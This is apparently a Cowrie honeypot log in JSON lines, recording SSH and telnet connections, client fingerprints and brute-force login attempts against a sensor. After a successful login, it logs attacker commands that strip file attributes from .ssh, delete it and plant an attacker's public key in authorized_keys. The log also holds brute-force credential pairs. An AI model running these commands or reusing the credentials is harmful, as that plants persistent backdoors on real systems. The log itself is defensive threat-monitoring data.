{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:31:12.392839Z","src_ip":"120.28.109.188","session":"47474399bbfb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"3333","message":"login attempt [ubuntu/3333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:31:13.463260Z","src_ip":"120.28.109.188","session":"47474399bbfb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:31:14.726436Z","src_ip":"120.28.109.188","session":"47474399bbfb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":4835,"dst_ip":"159.203.135.109","dst_port":22,"session":"b3efec0fc642","protocol":"ssh","message":"New connection: 193.24.211.100:4835 (159.203.135.109:22) [session: b3efec0fc642]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:31:31.559226Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:31:31.564310Z","src_ip":"193.24.211.100","session":"b3efec0fc642","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:31:31.672542Z","src_ip":"193.24.211.100","session":"b3efec0fc642","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"2wsxzaq1","message":"login attempt [root/2wsxzaq1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:31:32.154221Z","src_ip":"193.24.211.100","session":"b3efec0fc642","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:31:33.267154Z","src_ip":"193.24.211.100","session":"b3efec0fc642","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":26.548211812973022,"message":"Connection lost after 26 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:31:35.036249Z","src_ip":"88.230.230.20","session":"b24770ce3196","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":33876,"dst_ip":"159.203.135.109","dst_port":22,"session":"eaec7ddb0066","protocol":"ssh","message":"New connection: 120.28.109.188:33876 (159.203.135.109:22) [session: eaec7ddb0066]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:32:12.404673Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:32:12.410358Z","src_ip":"120.28.109.188","session":"eaec7ddb0066","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:32:12.670529Z","src_ip":"120.28.109.188","session":"eaec7ddb0066","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sshuser","password":"password1","message":"login attempt [sshuser/password1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:32:13.738809Z","src_ip":"120.28.109.188","session":"eaec7ddb0066","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:32:15.006557Z","src_ip":"120.28.109.188","session":"eaec7ddb0066","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":42436,"dst_ip":"159.203.135.109","dst_port":22,"session":"017f0f4ebe69","protocol":"ssh","message":"New connection: 120.28.109.188:42436 (159.203.135.109:22) [session: 017f0f4ebe69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:10.549568Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:10.554251Z","src_ip":"120.28.109.188","session":"017f0f4ebe69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:10.812827Z","src_ip":"120.28.109.188","session":"017f0f4ebe69","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"steam12345","message":"login attempt [steam/steam12345] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:11.881094Z","src_ip":"120.28.109.188","session":"017f0f4ebe69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:12.449490Z","src_ip":"120.28.109.188","session":"017f0f4ebe69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:12.453150Z","src_ip":"120.28.109.188","session":"017f0f4ebe69","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:12.457262Z","src_ip":"120.28.109.188","session":"017f0f4ebe69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:12.719734Z","src_ip":"120.28.109.188","session":"017f0f4ebe69","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:13.278913Z","src_ip":"120.28.109.188","session":"017f0f4ebe69","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:13.282190Z","src_ip":"120.28.109.188","session":"017f0f4ebe69","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/steam/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:13.544922Z","src_ip":"120.28.109.188","session":"017f0f4ebe69","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:13.548795Z","src_ip":"120.28.109.188","session":"017f0f4ebe69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":52758,"dst_ip":"159.203.135.109","dst_port":22,"session":"9b8e6497826d","protocol":"ssh","message":"New connection: 120.28.109.188:52758 (159.203.135.109:22) [session: 9b8e6497826d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:13.801479Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:13.807510Z","src_ip":"120.28.109.188","session":"9b8e6497826d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:14.067075Z","src_ip":"120.28.109.188","session":"9b8e6497826d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:15.135175Z","src_ip":"120.28.109.188","session":"9b8e6497826d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:16.398505Z","src_ip":"120.28.109.188","session":"9b8e6497826d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"120.28.109.188","src_port":52770,"dst_ip":"159.203.135.109","dst_port":22,"session":"77e5f96f9df7","protocol":"ssh","message":"New connection: 120.28.109.188:52770 (159.203.135.109:22) [session: 77e5f96f9df7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:16.654779Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:16.659616Z","src_ip":"120.28.109.188","session":"77e5f96f9df7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:16.924565Z","src_ip":"120.28.109.188","session":"77e5f96f9df7","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"3245gs5662d34","message":"login attempt [steam/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:17.993692Z","src_ip":"120.28.109.188","session":"77e5f96f9df7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:18.255837Z","src_ip":"120.28.109.188","session":"017f0f4ebe69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:18.261139Z","src_ip":"120.28.109.188","session":"77e5f96f9df7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"223.178.212.186","src_port":30777,"dst_ip":"159.203.135.109","dst_port":23,"session":"a43c21971dd8","protocol":"telnet","message":"New connection: 223.178.212.186:30777 (159.203.135.109:23) [session: a43c21971dd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:25.904373Z"}
{"eventid":"cowrie.session.connect","src_ip":"79.127.181.103","src_port":19740,"dst_ip":"10.17.0.5","dst_port":22,"session":"026e5382980e","protocol":"ssh","message":"New connection: 79.127.181.103:19740 (10.17.0.5:22) [session: 026e5382980e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:34.678752Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Granados-1.0","message":"Remote SSH version: SSH-2.0-Granados-1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:34.885101Z","src_ip":"79.127.181.103","session":"026e5382980e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"195e6691752c6042df663c15d2f68972","hasshAlgorithms":"diffie-hellman-group1-sha1;aes128-cbc,blowfish-cbc,3des-cbc;hmac-sha1;none","kexAlgs":["diffie-hellman-group1-sha1"],"keyAlgs":["ssh-dss","ssh-rsa"],"encCS":["aes128-cbc","blowfish-cbc","3des-cbc"],"macCS":["hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 195e6691752c6042df663c15d2f68972","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:35.087518Z","src_ip":"79.127.181.103","session":"026e5382980e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.4","message":"Connection lost after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:35.092850Z","src_ip":"79.127.181.103","session":"026e5382980e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.362579107284546,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T13:33:38.266824Z","src_ip":"223.178.212.186","session":"a43c21971dd8","protocol":"telnet"}
